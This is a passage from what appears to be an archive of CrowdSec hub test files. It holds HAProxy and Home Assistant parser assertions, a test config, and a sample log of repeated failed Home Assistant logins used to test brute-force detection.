"-" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["client_ip"] == "117.136.40.129" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["haproxy_time"] == "12:48:57.1" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["srv_queue"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["time_backend_connect"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["time_queue"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["backend_queue"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["frontend_name"] == "https-in~" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["haproxy_year"] == "2015" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["http_status_code"] == "200" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["accept_date"] == "14/Jan/2015:12:48:57.127" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["backend_name"] == "xx_server_https" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["retries"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Meta["http_path"] == "/xxx/xxx" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Meta["source_ip"] == "117.136.40.129" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Meta["datasource_path"] == "haproxy-logs.log" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Success == true results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["request"] == "/" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["bytes_read"] == "20602" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["haproxy_minute"] == "56" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["haproxy_time"] == "06:56:28.0" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["time_backend_response"] == "1263" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["captured_response_cookie"] == "-" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["haproxy_monthday"] == "12" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["srvconn"] == "4" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["frontend_name"] == "fe-verify~" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["program"] == "haproxy" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["retries"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["termination_state"] == "----" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["message"] == "22.118.26.10:10285 [12/Mar/2021:06:56:28.088] fe-verify~ maskurl/dns 0/0/0/1263/1264 200 20602 - - ---- 19/19/3/4/0 0/0 \"GET / HTTP/1.1\"" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["srv_queue"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["actconn"] == "19" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["backend_name"] == "maskurl" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["http_request"] == "/" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["time_backend_connect"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["accept_date"] == "12/Mar/2021:06:56:28.088" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["beconn"] == "3" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["feconn"] == "19" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["time_duration"] == "1264" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["time_queue"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["time_request"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["client_port"] == "10285" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["haproxy_milliseconds"] == "8" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["haproxy_second"] == "28.0" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["haproxy_year"] == "2021" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["http_status_code"] == "200" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["server_name"] == "dns" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["backend_queue"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["captured_request_cookie"] == "-" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["client_ip"] == "22.118.26.10" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["haproxy_month"] == "Mar" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Parsed["haproxy_hour"] == "06" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Meta["source_ip"] == "22.118.26.10" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Meta["datasource_path"] == "haproxy-logs.log" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Meta["http_path"] == "/" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/haproxy-logs"][1].Evt.Meta["log_type"] == "http_access-log" len(results["success"][""]) == 0hub1/.tests/home-assistant/000077500000000000000000000000001437532772500161135ustar00rootroot00000000000000hub1/.tests/home-assistant/config.yaml000066400000000000000000000004601437532772500202440ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/home-assistant-logs.yaml scenarios: - ./scenarios/crowdsecurity/home-assistant-bf.yaml postoverflows: - "" log_file: home-assistant-logs.log log_type: home-assistant labels: {} ignore_parsers: falsehub1/.tests/home-assistant/home-assistant-logs.log000066400000000000000000000077201437532772500225250ustar00rootroot000000000000002021-12-12 12:32:19 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36) 2021-12-12 12:32:21 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36) 2021-12-12 12:32:21 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36) 2021-12-12 12:32:22 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36) 2021-12-12 12:32:22 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36) 2021-12-12 12:32:23 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36) 2021-12-12 12:32:23 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36) 2022-02-10 06:56:48 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost.home (192.168.1.23). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36) 2022-08-11 01:37:55.287 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/69d9550b6315c1b2c241a0bb68323883'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0) 2022-08-11 01:37:56.287 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/15168dcd077f019968334f81c0ae7e32'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0) 2022-08-11 01:37:57.644 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/15168dcd077f019968334f81c0ae7e32'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0) 2022-08-11 01:37:58.454 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/15168dcd077f019968334f81c0ae7e32'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0) 2022-08-11 01:37:59.587 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/fc3d138f29d7be40b46dc4bdbc86fbb7'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0) 2022-08-11 01:38:00.587 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/fc3d138f29d7be40b46dc4bdbc86fbb8'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)hub1/.tests/home-assistant/parser.assert000066400000000000000000002004741437532772500206410ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 14 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2021-12-12 12:32:19 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2021-12-12 12:32:21 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "2021-12-12 12:32:21 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "2021-12-12 12:32:22 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "2021-12-12 12:32:22 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "2021-12-12 12:32:23 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][6].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["message"] == "2021-12-12 12:32:23 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["message"] == "2022-02-10 06:56:48 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost.home (192.168.1.23). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36)" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][8].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["message"] == "2022-08-11 01:37:55.287 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/69d9550b6315c1b2c241a0bb68323883'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][9].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Parsed["message"] == "2022-08-11 01:37:56.287 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/15168dcd077f019968334f81c0ae7e32'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][10].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Parsed["message"] == "2022-08-11 01:37:57.644 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/15168dcd077f019968334f81c0ae7e32'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][11].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Parsed["message"] == "2022-08-11 01:37:58.454 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/15168dcd077f019968334f81c0ae7e32'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][12].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Parsed["message"] == "2022-08-11 01:37:59.587 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/fc3d138f29d7be40b46dc4bdbc86fbb7'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][13].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Parsed["message"] == "2022-08-11 01:38:00.587 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/fc3d138f29d7be40b46dc4bdbc86fbb8'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Parsed["program"] == "home-assistant" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 14 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][9].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][10].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][11].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][12].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][13].Success == false len(results["s01-parse"]["crowdsecurity/home-assistant-logs"]) == 14 results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Parsed["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Parsed["time"] == "2021-12-12 12:32:19" results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Parsed["message"] == "2021-12-12 12:32:19 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][0].Evt.Meta["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Parsed["time"] == "2021-12-12 12:32:21" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Parsed["message"] == "2021-12-12 12:32:21 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Parsed["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Meta["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][1].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Parsed["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Parsed["time"] == "2021-12-12 12:32:21" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Parsed["message"] == "2021-12-12 12:32:21 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Meta["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][2].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Parsed["message"] == "2021-12-12 12:32:22 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Parsed["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Parsed["time"] == "2021-12-12 12:32:22" results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Meta["source_rdns"] == "localhost" 